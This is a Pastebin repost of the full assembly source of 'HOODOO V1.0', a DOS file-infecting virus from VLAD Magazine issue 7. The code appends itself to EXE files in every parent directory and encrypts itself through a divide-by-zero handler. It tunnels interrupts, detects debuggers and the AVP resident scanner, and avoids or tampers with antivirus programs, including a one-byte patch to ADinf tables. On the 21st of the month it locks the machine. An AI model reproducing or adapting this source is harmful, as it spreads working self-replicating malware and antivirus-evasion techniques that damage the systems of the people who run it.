FlyFar

VLAD Magazine - Issue #7 - ARTICLE.3_5 - HooDoo Virus

Jul 3rd, 2023
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 24.21 KB | Cybersecurity | 0 0
  1. ;****************************************************************************
  2. ; Virus name    : HOODOO V1.0
  3. ; Author        : Infiltrator (FATAL BREAKPOINT BBS)
  4. ; Origin        : St-Petersburg, RUSSIA, January 1, 1996
  5. ; Compiling     : TASM HOODOO.ASM
  6. ;                 TLINK /T HOODOO.OBJ
  7. ;---------------------------------------------------------------------------
  8. ; Targets       : EXE files from current dir to root
  9. ; Size          : 2609 bytes
  10. ; Polymorphic   : No
  11. ; Encryption    : Yes
  12. ; Stealth       : No
  13. ; Tunneling     : Yes
  14. ; Retro         : Yes
  15. ; Antiheuristics: Yes
  16. ;****************************************************************************
  17.  
  18.  
  19. ;===================== Macros used for direct int calls=================
  20. int_21h Macro
  21.         pushf
  22.         cli
  23.         call dword ptr [real_int21][si]
  24.         Endm
  25.  
  26. ;-------------------------------------------------------------------
  27. int_13h Macro
  28.         pushf
  29.         cli
  30.         call dword ptr [real_int13][si]
  31.         Endm
  32. ;--------------------------------------------------------------------
  33.         Attributs       EQU     15h
  34.         File_time       EQU     16h
  35.         File_date       EQU     18h
  36.         File_size       EQU     1Ah
  37.         File_name       EQU     1Eh
  38. ;--------------------------------------------------------------------
  39. ;AAM - used to fool some lame analysers
  40. al_to_ah    Macro
  41.         db 0D4h,1
  42.         EndM
  43. ;--------------------------------------------------------------------
  44. .model tiny
  45. .code
  46. .startup
  47. .286
  48.  
  49. virus_start:
  50.  
  51.     db  3Eh,0FCh            ;fooling code
  52.    
  53.     push ax bx cx dx si di bp ds        ;saving all registers!
  54.     push es
  55.  
  56.         mov ax,cs
  57.         mov ds,ax
  58.         mov es,ax
  59.  
  60. ;Performing old trick
  61.         call old_trick
  62.  
  63. old_trick:
  64.     db  26h,0FCh    ; fool code
  65.  
  66.     mov bp,sp
  67.     mov si,ss:[bp]
  68.     inc sp
  69.     inc sp
  70.         sub si,offset old_trick
  71.    
  72.     lea ax,code_decode[si]
  73.     mov dx,cs
  74.     xor cx,cx
  75.     mov es,cx
  76.  
  77.     xchg ax,word ptr es:[0]
  78.     xchg dx,word ptr es:[2]
  79.     mov word ptr old_int0[si],ax
  80.     mov word ptr old_int0[si+2],dx
  81.  
  82.     div cx  ;performing a divide by ZERO to call code_decode (en/decryption)
  83.  
  84. ;---------------------------[ coded part ]-----------------------------
  85. code_start:
  86.     mov ax,cs
  87.     mov es,ax
  88.  
  89.     push si
  90.     xchg bp,si
  91.  
  92.         lea si,real_jump[bp]
  93.         lea di,current_jump[bp]
  94.         movsw
  95.         movsw                                   ;restoring last jump
  96.  
  97.     pop si
  98.  
  99.     xor ax,ax
  100.     push ax
  101.     pop cx
  102.     dec sp
  103.     dec sp
  104.     pop bx
  105.  
  106.     cmp cx,bx
  107.     jz not_tracing
  108.  
  109.     mov byte ptr td_present[si],255
  110.  
  111. not_tracing:   
  112. ;---------------------------------------------------------------------
  113. Get_DOS_version:
  114.         mov ax,3001h
  115.         int 21h
  116.         cmp al,5
  117.         jae check_8086
  118.         jmp bad_environment
  119.  
  120. check_8086:
  121.         mov byte ptr avp_TSR_present[si],0
  122.  
  123. ;--------------------------------------------------------------------
  124. ;Check if 8086
  125.         push sp
  126.         pop ax
  127.         cmp ax,sp
  128.         jz _286
  129.         jmp bad_environment
  130.  
  131. _286:
  132. ;--------------------------------------------------------------------
  133. ;Check avp TSR
  134.     call check_avp_TSR
  135. ;--------------------------------------------------------------------
  136. ;check for 386+
  137.  
  138.         mov ax,7000h
  139.         pushf
  140.         push ax
  141.         popf
  142.         pushf
  143.         pop ax
  144.         popf
  145.         and ax,7000h         ; check for flag
  146.         jz short _80286     ; if ax=0 then this is a 80286
  147.  
  148. ;--------------------------------------------------------------------
  149. ;Check OS/2
  150.         mov ax,4010h
  151.         int 2Fh
  152.         cmp ax,4010h
  153.     jz No_OS2
  154.         jmp bad_environment
  155.  
  156. No_OS2:
  157. ;--------------------------------------------------------------------
  158. _80286:
  159. ;Find DOS segment
  160.  
  161.         mov ah,34h
  162.         int 21h                 ;DOS activity flag
  163.  
  164.         mov word ptr [real_int21+2][si],es          ;store DOS seg
  165.  
  166.         mov ax,3501h
  167.         int 21h
  168.  
  169.         mov word ptr [old_int1][si],bx
  170.         mov word ptr [old_int1+2][si],es            ;saving old int1
  171.  
  172.     mov ah,25h
  173.         lea dx,trace_handler[si]
  174.         int 21h                                 ;setting int1 handler
  175.  
  176.         mov search_DOS[si],0
  177.     mov trace_report[si],0
  178.         xor ax,ax
  179.         mov es,ax
  180.  
  181.         pushf
  182.         pop ax
  183.         or ah,1                 ; turn on trap flag
  184.         push ax
  185.         in al,21h                  ; Get old IMR
  186.         mov IMR[si],al
  187.         mov al,0FFh                 ; disable all interrupts
  188.         out 21h,al
  189.         popf
  190.  
  191.         mov dl,80h                  ;Drive C:
  192.         mov ah,9                    ;reset HD controller
  193.         pushf
  194.         call dword ptr es:[13h*4]              ;simulate int 13h
  195.  
  196.         pushf
  197.         pop ax
  198.         or ah,1                ;Set TF for 2-nd tracing
  199.         push ax
  200.         popf
  201.  
  202.         mov search_DOS[si],1
  203.         xor ax,ax
  204.         mov es,ax
  205.         mov ax,3001h                ;Get DOS version
  206.         pushf
  207.         call dword ptr es:[21h*4]            ;Simulate int 21h
  208.  
  209.         pushf
  210.         pop ax
  211.         and ax,0FEFFh           ;clear TF
  212.         push ax
  213.         popf
  214.  
  215.         mov al,IMR[si]           ; reenable interrupts
  216.         out 21h,al
  217.  
  218.     test trace_report[si],1
  219.     jnz traced_13
  220.     jmp bad_environment
  221.  
  222. traced_13:
  223. ;------------------------------------------------------------------------
  224. ;Check avp TSR presence
  225.         cmp byte ptr avp_TSR_present[si],0
  226.         jz avp_not_present
  227.  
  228.         call time_has_come
  229.  
  230. avp_not_present:        
  231. ;------------------------------------------------------------------------
  232. ;test bit 1 of TD_presence
  233.         test byte ptr td_present[si],1
  234.         jz td_not_present
  235.  
  236.     call time_has_come
  237.  
  238. td_not_present:
  239. ;------------------------------------------------------------------------
  240.     db  36h,0FBh    ;fooling code
  241.  
  242.         mov ah,4
  243.         int 1Ah         ;Get date
  244.  
  245.         cmp dl,21h        ;day 21?
  246.         jnz not_yet
  247.  
  248.         call time_has_come
  249.  
  250. not_yet:
  251.  
  252. ;-----------------------------------------------------------------------
  253.  
  254.     test trace_report[si],2
  255.     jnz traced_21
  256.     jmp bad_environment
  257.    
  258. ;-----------------------------------------------------------------------
  259. ;setting vector 13 to BIOS
  260. ;-----------------------------------------------------------------------
  261. traced_21:
  262.     db 26h, 0F8h        ;fooling code
  263.    
  264.     xor ax,ax
  265.     mov es,ax           ;additionnal warranty
  266.  
  267.         push word ptr es:[13h*4]
  268.         push word ptr es:[13h*4+2]      ;old vector 13
  269.  
  270.         push word ptr [real_int13][si]
  271.         push word ptr [real_int13+2][si]    ;real vector 13
  272.  
  273.         cli
  274.         pop word ptr es:[13h*4+2]
  275.         pop word ptr es:[13h*4]         ;Critical !
  276.         sti
  277.  
  278.         pop word ptr [real_int13+2][si]
  279.         pop word ptr [real_int13][si]
  280.  
  281. ;------------------------------------------------------------------
  282. ; restoring int1
  283. ;------------------------------------------------------------------
  284.  
  285.         push word ptr [old_int1][si]
  286.         push word ptr [old_int1+2][si]
  287.  
  288.         cli
  289.         pop word ptr es:[1*4+2]
  290.         pop word ptr es:[1*4]
  291.         sti
  292.  
  293. ;get current default drive
  294.         mov ah,19h
  295.         int 21h
  296.         cmp al,2        ;don't infect floppies
  297.     jnc get_free_disk_space
  298.     jmp bad_environment
  299.  
  300. get_free_disk_space:
  301.         mov ah,36h
  302.         xor dl,dl
  303.         int 21h
  304.         cmp ax,0FFFFh
  305.     jnz check_for_20k
  306.         jmp bad_environment
  307.  
  308. check_for_20k:
  309.         mul cx
  310.         mul bx
  311.  
  312.         or dx,dx
  313.         jnz enough_disk_space
  314.  
  315.         cmp ax,20*1024          ;check if there are 20 kb free!
  316.     jnc enough_disk_space
  317.     jmp bad_environment
  318.  
  319. enough_disk_space:
  320. ;---------------------------------------------------------------
  321. ;Get initial dir
  322.     xchg si,bp      ;store SI value!
  323.  
  324.     mov ah,47h
  325.     xor dl,dl
  326.     lea si,initial_dir[bp+1]
  327.     int 21h        
  328.  
  329.     xchg si,bp
  330. ;-----------------------------------------------------------------
  331. ;Get old DTA address into ES:BX
  332.     mov ah,2Fh
  333.     int 21h
  334.     mov word ptr [old_DTA][si],bx
  335.     mov word ptr [old_DTA+2][si],es
  336. ;-----------------------------------------------------------------
  337. ;Set new DTA
  338.     mov ah,1Ah
  339.     lea dx,DTA[si]
  340.     int 21h
  341.  
  342. ;=================== Searching and infecting ====================
  343.  
  344.     in al,21h
  345.     mov IMR[si],al
  346.     or al,2     ;masking kb interrupts
  347.     out 21h,al
  348.  
  349.     mov bingo[si],0
  350.  
  351. Find_first_EXE:
  352.  
  353.     mov ah,4Eh
  354.  
  355.         lea dx,exe_mask[si]
  356.         int_21h
  357.  
  358.         cmp al,12h
  359.         jz no_more_exe_files
  360.  
  361.         call infect_file
  362.  
  363. Find_next_EXE:
  364.  
  365.     mov ah,4Fh
  366.  
  367.     lea dx,exe_mask[si]
  368.         int_21h
  369.         cmp al,12h
  370.         jz no_more_exe_files
  371.  
  372.         call infect_file
  373.  
  374.         jmp short Find_next_EXE
  375.  
  376. no_more_exe_files:
  377. ;--------------------------------------------------------------
  378. ;Change to upper dir
  379.         mov ah,3Bh
  380.         lea dx,upper_dir[si]
  381.         int_21h
  382.         jnc Find_first_EXE
  383. ;---------------------------------------------------------------
  384. ;Guess what
  385.         cmp bingo[si],0
  386.         jz no_need_adinf
  387.     call kill_adinf
  388.  
  389. no_need_adinf:
  390.  
  391. ;======================== Infections achieved! =================
  392.  
  393. ;Returning to initial dir
  394.     mov ah,3Bh
  395.     lea dx,initial_dir[si]
  396.     int_21h
  397.  
  398.     mov al,IMR[si]
  399.     out 21h,al      ;re-enabling kb interrupts
  400. ;Restoring Old DTA
  401.     push ds
  402.  
  403.         mov dx,word ptr old_DTA[si] ;offset
  404.         mov ax,word ptr old_DTA[si+2]   ;seg
  405.     mov ds,ax
  406.  
  407.     mov ah,1Ah
  408.         int 21h
  409.  
  410.     pop ds
  411. ;-----------------------------------------------------------------
  412. ; restore int13
  413. ;-----------------------------------------------------------------
  414.  
  415.     xor ax,ax
  416.     mov es,ax           ;additional warranty
  417.  
  418.         push word ptr es:[13h*4]
  419.         push word ptr es:[13h*4+2]      ;real vector 13
  420.  
  421.         push word ptr [real_int13][si]
  422.         push word ptr [real_int13+2][si]    ;old vector 13
  423.  
  424.         cli
  425.         pop word ptr es:[13h*4+2]
  426.         pop word ptr es:[13h*4]         ;Critical!
  427.         sti
  428.  
  429.         pop word ptr [real_int13+2][si]
  430.         pop word ptr [real_int13][si]
  431. ;----------------------------------------------------------------------
  432. ;restore int 0
  433. ;----------------------------------------------------------------------
  434.  
  435.     mov ax,word ptr old_int0[si]
  436.     mov dx,word ptr old_int0[si+2]
  437.    
  438.     xchg ax,es:[0] 
  439.     xchg dx,es:[2] 
  440.  
  441. ;--------------------------------------------------------------------
  442.  
  443. bad_environment:
  444.         pop es
  445.         mov ax,es                    ;AX = PSP segment
  446.         add ax,10h                   ;Adjust for PSP
  447.         add word ptr [current_jump+2][si],ax
  448.  
  449.         jmp $+2
  450.  
  451. ;   mov ah,9
  452. ;   lea dx,msg[si]
  453. ;   int 21h
  454.    
  455.     pop ds bp di si dx cx bx ax ;restoring all registers!
  456.  
  457.         db      0EAh
  458. current_jump    dd      0
  459. real_jump       dw      offset virus_end,0-10h
  460.  
  461. initial_dir db  '\',64 dup(0)
  462. upper_dir   db  '..',0
  463. exe_mask    db  '*.exe',0
  464. header          db      18h dup(0)               ;exe-header
  465. bingo       db  0           ;=1 when infection has occured
  466.                         ;and need to patch adinf
  467. adinf_path      db      '*.*',0
  468. ad_table        db      13 dup(0)
  469. buffer      db  512 dup(0)      ;needed to read adinf table
  470. old_DTA     dd  0  
  471. DTA     db  128 dup(0)
  472. real_int13      dd      0
  473. search_DOS      db      0
  474. old_int1        dd      0
  475. trace_report    db  0
  476. IMR             db      0
  477. msg     db  13,10,7,7,"HOODOO V1.0 (c)1995 by Infiltrator. "
  478.         db  "Please register.$"
  479. ;Need to fuck avp
  480. antiviral_msg   db      20h,0Dh,0Ah,'Antiviral$'
  481. antimsg_len     equ     $-antiviral_msg
  482.  
  483. ;Need to fuck avp TSR
  484. avp_TSR_present db  0      
  485.  
  486. ;=======================[ TRACE HANDLER ]================================
  487.  
  488. trace_handler:
  489.  
  490.         push bp ax cx es si
  491.  
  492.         mov bp,sp
  493.  
  494.         cmp search_DOS[si],1
  495.         je skip_13
  496.  
  497.         mov ax,ss:[bp+12]                 ;CS
  498.         cmp ax,0C000h
  499.         jb exit_trace
  500.  
  501.         mov ax,ss:[bp+10]                   ;IP
  502.         mov cl,4
  503.         shr ax,cl
  504.         add ax,ss:[bp+12]
  505.         jc exit_trace           ;0FFFFh seg overflow
  506.  
  507.         mov ax,ss:[bp+10]
  508.         mov word ptr ds:[real_int13][si],ax
  509.         mov ax,ss:[bp+12]
  510.         mov word ptr ds:[real_int13+2][si],ax
  511.  
  512.     or trace_report[si],1   ;mark as found
  513.         jmp short found_13
  514.  
  515. skip_13:
  516.         mov ax,ss:[bp+12]                   ;DOS CS
  517.         cmp ax,word ptr ds:[real_int21+2][si]
  518.         jnz exit_trace
  519.  
  520.         mov ax,ss:[bp+10]
  521.         mov word ptr ds:[real_int21][si],ax    ;DOS IP
  522.     or trace_report[si],2       ;mark as found
  523.  
  524. found_13:
  525.         mov ax,ss:[bp+14]
  526.         and ax,0FEFFh           ;clear TF in stack
  527.         mov ss:[bp+14],ax
  528.  
  529. exit_trace:
  530.  
  531.         pop si es cx ax bp
  532.         iret
  533. ;====================[ Infecting file ]==================================
  534. infect_file proc
  535.  
  536. ;Preparing encrypting value
  537. retry_value:
  538.     mov ah,0
  539.     int 1Ah
  540.     or dl,dl
  541.     jz retry_value
  542.     mov encrypt_value[si],dl
  543.  
  544.     mov ax,4301h
  545.     xor cx,cx
  546.     lea dx,[DTA+File_name][si]
  547.     int 21h         ;clear attributs
  548.  
  549.     mov al,3Dh
  550.     al_to_ah
  551.     mov al,02h     
  552. ;   mov ax,3D02h
  553.         lea dx,[DTA+File_name][si]
  554.         int_21h
  555.         xchg bx,ax
  556.  
  557.  
  558.     mov al,3Fh
  559.     al_to_ah
  560. ;   mov ah,3Fh
  561.         mov cx,18h      ;read header
  562.         lea dx,header[si]
  563.         int_21h
  564.  
  565. ;Check for 0E9h
  566.  
  567.         cmp byte ptr ds:[header+si],0E9h    ;misnamed COM
  568.     jnz check_for_EB
  569.         jmp close_file
  570.  
  571. check_for_EB:
  572.         cmp byte ptr ds:[header+si],0EBh    ;misnamed COM
  573.     jnz check_4_MZ
  574.         jmp close_file
  575.  
  576. Check_4_MZ:
  577.         cmp word ptr ds:[header+si],'ZM'    ;Real EXE file?
  578.     jz check_4_size
  579.         jmp close_file
  580.  
  581. check_4_size:
  582.     cmp word ptr [DTA+file_size+2][si],0
  583.     jnz size_ok
  584.  
  585.     cmp word ptr [DTA+file_size][si],20*1024    ;20kb
  586.     jnc size_ok
  587.     jmp close_file
  588.  
  589. size_ok:
  590.         mov ax,4200h
  591.         mov cx,word ptr [DTA+File_size+2][si]
  592.         mov dx,word ptr [DTA+File_size][si]
  593.         dec dx                  ;point to last word in file
  594.     dec dx
  595.         int_21h
  596.  
  597. ;Check if already infected
  598.         mov ah,3Fh
  599.         mov cx,2        ;read 2 bytes
  600.         lea dx,ID_word[si]
  601.         int_21h
  602.  
  603.     mov ax,ID_word[si]
  604.     cmp ax,word ptr [DTA+16h][si]
  605.  
  606.         jnz not_infected
  607.     jmp close_file
  608.  
  609.  
  610. not_infected:
  611. ;----------------------------------------------------------------------
  612. ;Check if it's aidstest
  613.  
  614.     mov ax,4200h
  615.     xor cx,cx
  616.     mov dx,131      ;offset in aidstest.exe
  617.     int 21h
  618.  
  619.     mov ah,3Fh
  620.     mov cx,23       ;read bytes
  621.     lea dx,buffer[si]
  622.     int 21h
  623.  
  624.         cmp byte ptr buffer[si],''
  625.         jz other_smile
  626.         jmp not_aidstest
  627.  
  628. other_smile:
  629.         cmp byte ptr buffer[si+22],''
  630.         jnz not_aidstest
  631.         jmp close_file
  632.  
  633. not_aidstest:
  634. ;----------------------------------------------------------------------
  635. ;Check if it's web
  636.  
  637.     mov ax,4200h
  638.     xor cx,cx
  639.     mov dx,29h      ;offset in drweb.exe
  640.     int 21h
  641.  
  642.     mov ah,3Fh
  643.     mov cx,4        ;read bytes
  644.     lea dx,buffer[si]
  645.     int 21h
  646.  
  647.     mov al,''
  648.  
  649.     cmp byte ptr buffer[si],al
  650.     jz other_face
  651.     jmp not_web
  652.  
  653. other_face:
  654.     cmp byte ptr buffer[si+3],al
  655.     jnz not_web
  656.     jmp close_file
  657.  
  658. not_web:
  659. ;----------------------------------------------------------------------
  660. ;Check if it's adinf
  661.    
  662.     mov ax,4200h
  663.     xor cx,cx
  664.     mov dx,29h      ;offset in adinf.exe
  665.     int 21h
  666.  
  667.     mov ah,3Fh
  668.     mov cx,8        ;read bytes
  669.     lea dx,buffer[si]
  670.     int 21h
  671.  
  672.     mov al,''
  673.  
  674.     cmp byte ptr buffer[si],al
  675.     jz second_face
  676.     jmp not_adinf
  677.  
  678. second_face:
  679.     cmp byte ptr buffer[si+7],al
  680.     jnz not_adinf
  681.     jmp close_file
  682.  
  683. not_adinf:
  684. ;----------------------------------------------------------------
  685. ;Check if Norton Antivirus 2.0
  686.  
  687.     mov ax,4200h
  688.     xor cx,cx
  689.     mov dx,32h      ;offset in nav.exe
  690.     int 21h
  691.  
  692.     mov ah,3Fh
  693.     mov cx,8
  694.     lea dx,buffer[si]
  695.     int 21h
  696.  
  697. ;check for 'Sy' (Symantec)
  698.         cmp word ptr buffer[si],7953h
  699.     jz check_ec
  700.     jmp not_nav20
  701.  
  702. ;check for 'ec'
  703. check_ec:
  704.     cmp word ptr buffer[si+6],6365h
  705.     jnz not_nav20
  706.         jmp close_file
  707.  
  708. not_nav20:
  709. ;-------------------------------------------------------------------
  710. ;Checking for overlay and infecting
  711.  
  712.     mov al,42h
  713.     al_to_ah
  714.     mov al,02h
  715. ;   mov ax,4202h
  716.         cwd
  717.         xor cx,cx
  718.         int_21h         ;EOF
  719.  
  720.         push bx
  721.         push ax
  722.         push dx
  723.  
  724.         call convert_size_to_pages
  725.  
  726.         cmp dx,word ptr [header+4][si]
  727.         jz ovl1
  728.  
  729.     pop dx 
  730.     pop ax
  731.     pop bx          ;handle
  732.     jmp close_file
  733. ovl1:
  734.         cmp ax,word ptr [header+2][si]            ;checking for overlay
  735.         jz ovl2
  736.    
  737.     pop dx
  738.     pop ax
  739.     pop bx          ;handle
  740.     jmp close_file
  741. ovl2:
  742.  
  743.     pop dx
  744.     pop ax
  745.     push ax
  746.     push dx
  747.    
  748.         mov cx,word ptr [header+14h][si]
  749.         mov word ptr [real_jump][si],cx         ;IP
  750.         mov cx,word ptr [header+16h][si]
  751.         mov word ptr [real_jump+2][si],cx               ;CS
  752.  
  753.         mov bx,word ptr [header+8][si]
  754.         mov cl,4
  755.         shl bx,cl
  756.  
  757.         sub ax,bx
  758.         sbb dx,0                ;sub header from file size
  759.  
  760.         mov cx,10h
  761.         div cx                  ;convert to seg:offset
  762.  
  763.         mov word ptr [header+14h][si],dx        ;New entry point
  764.         mov word ptr [header+16h][si],ax
  765.  
  766.         mov word ptr [header+0Eh][si],ax        ;new stack segment
  767.  
  768.     mov ah, byte ptr [DTA+File_date][si]    ;ah=high byte of date (year)
  769.     mov al, byte ptr [DTA+File_size][si]    ;al=low byte of file size
  770.         mov word ptr [header+10h][si],ax    ;New SP
  771.  
  772.         pop dx
  773.         pop ax
  774.  
  775.         add ax,virus_end-virus_start
  776.         adc dx,0
  777.  
  778.         call convert_size_to_pages
  779.  
  780.         mov word ptr [header+4][si],dx          ;new file size
  781.         mov word ptr [header+2][si],ax
  782.  
  783.         add word ptr [header+0Ah][si],virus_end-virus_start
  784.         jnc $+8
  785.         mov word ptr [header+0Ah][si],0FFFFh            ;min alloc
  786.  
  787.         add word ptr [header+0Ch][si],virus_end-virus_start
  788.         jnc $+8
  789.  
  790.         mov word ptr [header+0Ch][si],0FFFFh            ;max alloc
  791.  
  792.  
  793.  
  794. ;NEED to correct ID word HERE!
  795.     mov ax,word ptr [DTA+16h][si]
  796.     mov word ptr ID_word[si],ax
  797.  
  798.  
  799.         pop bx                  ;restore handle
  800.  
  801.  
  802.     mov al,40h
  803.     al_to_ah
  804. ;        mov ah,40h
  805.         mov cx,virus_end-virus_start
  806.         lea dx,virus_start[si]
  807.  
  808. code_mid1:
  809.  
  810. ;   call code_decode        ;encrypting virus to be linked
  811.     div al
  812.  
  813.         int_21h                 ;append virus to file
  814.  
  815.     xor ax,ax
  816.     div al
  817. ;   call code_decode        ;de-crypting virus
  818.  
  819. code_mid2:
  820.  
  821.     mov bingo[si],1
  822.  
  823.         mov ax,4200h
  824.         cwd
  825.         xor cx,cx
  826.         int_21h
  827.  
  828.     mov al,40h
  829.     al_to_ah
  830. ;        mov ah,40h
  831.         mov cx,18h
  832.         lea dx,header[si]   ;write new header to file
  833.         int_21h
  834.  
  835. ;Need to restore time and date
  836.     mov al,57h
  837.     al_to_ah
  838.     mov al,1
  839. ;   mov ax,5701h
  840.     mov cx,word ptr [DTA+16h][si]   ;original time
  841.     mov dx,word ptr [DTA+18h][si]   ;original date
  842.     int_21h
  843.  
  844. Close_file:
  845.  
  846.     mov al,3Eh
  847.     al_to_ah
  848. ;        mov ah,3Eh
  849.         int_21h             ;close file
  850.  
  851. ;Need to restore attributs
  852.  
  853.     mov al,43h
  854.     al_to_ah
  855.     mov al,1
  856. ;   mov ax,4301h
  857.     mov cx,word ptr [DTA+15h][si]   ;original attributs
  858.     lea dx,word ptr [DTA+1Eh][si]   ;file name
  859.     int_21h
  860.  
  861.     retn
  862.  
  863. infect_file endp
  864.  
  865. ;======================[ Time has come ]===============================
  866.  
  867. time_has_come           proc
  868.  
  869.     in al,21h
  870.     mov IMR[si],al
  871.     or al,2
  872.     out 21h,al      ;mask KB interrupts
  873.  
  874.     lea dx,msg[si]
  875.     mov ah,9
  876.     int 21h
  877.  
  878.         jmp $           ;lock !
  879.  
  880. time_has_come   endp
  881.  
  882. ;=============================[ Check avp TSR]===============================
  883. check_avp_TSR   proc
  884.     pusha
  885.  
  886.         mov ax,0Ah
  887.         mov es,ax
  888.  
  889.     xchg bp,si      ;store SI
  890.  
  891.         mov di,452h
  892.         lea si,antiviral_msg[bp]
  893.         mov cx,antimsg_len
  894. repnz   movsb           ;storing 'Antiviral' at 452h
  895.  
  896.     xchg si,bp      ;restore SI
  897.  
  898.         mov ah,46h
  899.         mov bx,1
  900.         mov cx,1
  901.         int 21h         ;redirect CON to NUL
  902.  
  903.         push ds
  904.         mov ax,0Ah
  905.         mov ds,ax
  906.         mov ah,9
  907.         mov dx,452h
  908.         mov cx,2D64h        ;check if avp is installed
  909.         int 21h
  910.         pop ds
  911.  
  912.         push cx
  913.         mov ah,46h
  914.         mov bx,0
  915.         mov cx,1
  916.         int 21h         ;restoring CON
  917.         pop cx
  918.  
  919.         cmp cx,736Dh
  920.         jnz no_avp
  921.  
  922.     mov byte ptr avp_TSR_present[si],1
  923.  
  924. no_avp:
  925.  
  926.         mov ax,0Ah
  927.         mov es,ax
  928.  
  929.         mov di,452h
  930.         mov cx,antimsg_len
  931. repnz   stosb                   ;restoring '0' at 452h
  932.  
  933.     popa
  934.     ret
  935. check_avp_TSR   endp
  936.  
  937. ;=======================[ Converting size to pages ]==========================
  938. convert_size_to_pages   proc
  939.  
  940.         push ax
  941.         mov cl,7
  942.         shl dx,cl
  943.         and ax,0FE00h
  944.         mov cl,9
  945.         shr ax,cl
  946.         add dx,ax
  947.         pop ax
  948.         and ax,1FFh
  949.         jz $+3
  950.         inc dx
  951.         retn
  952.  
  953. convert_size_to_pages   endp
  954.  
  955. ;==========================[ Kill adinf ]===============================
  956. Kill_adinf  proc
  957.     pusha
  958.  
  959.     mov ax,cs
  960.     mov es,ax
  961.  
  962.     mov ah,4Eh          ;Find first
  963.  
  964. ;   mov al,4Eh
  965. ;   al_to_ah
  966.  
  967.     mov cx,2            ;find all hidden files!
  968.     lea dx,adinf_path[si]
  969.     int_21h
  970.     cmp al,12h
  971.     jz patch_done
  972.     call patch_adinf
  973.  
  974. next_table:
  975.     mov ah,4Fh
  976. ;   mov al,4Fh
  977. ;   al_to_ah
  978.  
  979.     mov cx,2
  980.     lea dx,adinf_path[si]
  981.     int_21h
  982.     cmp al,12h
  983.     jz patch_done
  984.     call patch_adinf
  985.  
  986.     jmp short next_table
  987.  
  988. patch_done:
  989.     popa
  990.         ret
  991.  
  992. Kill_adinf  endp
  993.  
  994. ;===========================[ Patch adinf ]===============================
  995.  
  996. patch_adinf     proc
  997.  
  998.         lea bx,[DTA+1Eh][si]        ;file name in DTA
  999.         lea di,ad_table[si]
  1000.  
  1001. next_letter:
  1002.  
  1003.         mov al,[bx]
  1004.         inc bx
  1005.         stosb
  1006.         or al,al
  1007.         jnz next_letter
  1008.  
  1009.         mov ax,4301h
  1010. ;   mov al,43h
  1011. ;   al_to_ah
  1012. ;   mov al,1
  1013.  
  1014.         xor cx,cx
  1015.         lea dx,ad_table[si]
  1016.         int_21h
  1017.  
  1018.         mov ax,3D02h
  1019. ;   mov al,3Dh
  1020. ;   al_to_ah
  1021. ;   mov al,02h
  1022.  
  1023.         lea dx,ad_table[si]
  1024.         int_21h
  1025.         xchg ax,bx
  1026.  
  1027.         mov ax,4200h
  1028. ;   mov al,42h
  1029. ;   al_to_ah
  1030. ;   mov al,0
  1031.  
  1032.         xor cx,cx
  1033.         mov dx,68h              ;point at 'Advanced Diskinfoscope...'
  1034.         int_21h
  1035.  
  1036.         mov ah,3Fh
  1037. ;   mov al,3Fh
  1038. ;   al_to_ah
  1039.  
  1040.         mov cx,70h
  1041.         lea dx,buffer[si]
  1042.         int_21h
  1043.  
  1044.         cmp word ptr [buffer+si],'dA'
  1045.         jnz fake_adinf
  1046.  
  1047.         cmp word ptr [buffer+49h][si],'��'
  1048.         jnz fake_adinf
  1049.  
  1050.         mov ax,4200h
  1051. ;   mov al,42h
  1052. ;   al_to_ah
  1053. ;   mov al,0
  1054.  
  1055.         xor cx,cx
  1056.         mov dx,200h
  1057.         int_21h
  1058.  
  1059.         mov ah,40h
  1060.         mov buffer[si],0
  1061.         lea dx,buffer[si]
  1062.         mov cx,1                ;1 byte patch!
  1063.         int_21h
  1064.  
  1065. fake_adinf:
  1066.  
  1067.         mov ax,5701h                    ;restoring
  1068. ;   mov al,57h
  1069. ;   al_to_ah
  1070. ;   mov al,1
  1071.  
  1072.  
  1073.         mov cx,word ptr ds:[DTA+16h][si]    ;file time
  1074.         mov dx,word ptr ds:[DTA+18h][si]    ;file date
  1075.         int_21h
  1076.  
  1077.         mov ah,3Eh
  1078. ;   mov al,3Eh
  1079. ;   al_to_ah
  1080.  
  1081.         int_21h
  1082.  
  1083.         mov ax,4301h
  1084. ;   mov al,43h
  1085. ;   al_to_ah
  1086. ;   mov al,1
  1087.  
  1088.         mov cl,byte ptr ds:[DTA+15h][si]
  1089.         xor ch,ch
  1090.         lea dx,ad_table[si]
  1091.         int_21h                 ;restore attributs
  1092.  
  1093.         retn
  1094.  
  1095. patch_adinf     endp
  1096.  
  1097. ;========================[ Mark end of encryption ]=====================
  1098. code_end:
  1099. ;=========================[ Encoding/decoding ]=========================
  1100. code_decode proc
  1101.  
  1102.     push ax bx cx di es bp
  1103.  
  1104.     mov bp,sp
  1105.     add word ptr ss:[bp+12],2   ;coz it still points to 'div cx'
  1106.  
  1107.     push cs
  1108.     pop es
  1109.  
  1110.     lea bx,code_start[si]
  1111.     mov di,bx
  1112.     mov cx,code_mid1-code_start
  1113.  
  1114.         call crypt_cycle                ;crypt/decrypting 1-st half
  1115.  
  1116.         lea bx,code_mid2[si]
  1117.         mov di,bx
  1118.         mov cx,code_end-code_mid2
  1119.  
  1120.         call crypt_cycle                ;crypt/decrypting 2-nd half
  1121.  
  1122.         pop bp es di cx bx ax
  1123.     retf 2
  1124.  
  1125. code_decode endp
  1126.  
  1127. ;==========================[ Encrypting cycle ]=========================
  1128.  
  1129. crypt_cycle proc
  1130.  
  1131. do_crypt:
  1132.  
  1133.         mov al,[bx]
  1134.         xor al,encrypt_value[si]
  1135.         stosb
  1136.         inc bx
  1137.  
  1138. ;Test turbo debugger presence inside loop
  1139.         push cs
  1140.         pop ss
  1141.         pushf
  1142.         pop ax
  1143.         mov byte ptr td_present[si],ah          ;Trap bit stored.
  1144.  
  1145.         loop do_crypt
  1146.     retn
  1147.  
  1148. crypt_cycle endp
  1149. ;=========================[Various values]=================================
  1150. ;Placed here to avoid encryption!
  1151.  
  1152. real_int21      dd      0
  1153. old_int0    dd  0
  1154.  
  1155. ;Need to fuck turbo debugger
  1156. td_present  db  0
  1157.  
  1158. ;=========================[ Encrypt value ]==============================
  1159.  
  1160. encrypt_value   db  0
  1161.  
  1162. ;========================[ ID BYTE ]=====================================
  1163.  
  1164. ID_word         dw      0
  1165.  
  1166. ;=======================[ Part to be cutted off ]========================
  1167. virus_end:
  1168.         db      0B8h,0,4Ch
  1169.         db      0CDh,21h
  1170. ;========================================================================
  1171. end
Tags: virus asm vlad
Add Comment
Please, Sign In to add comment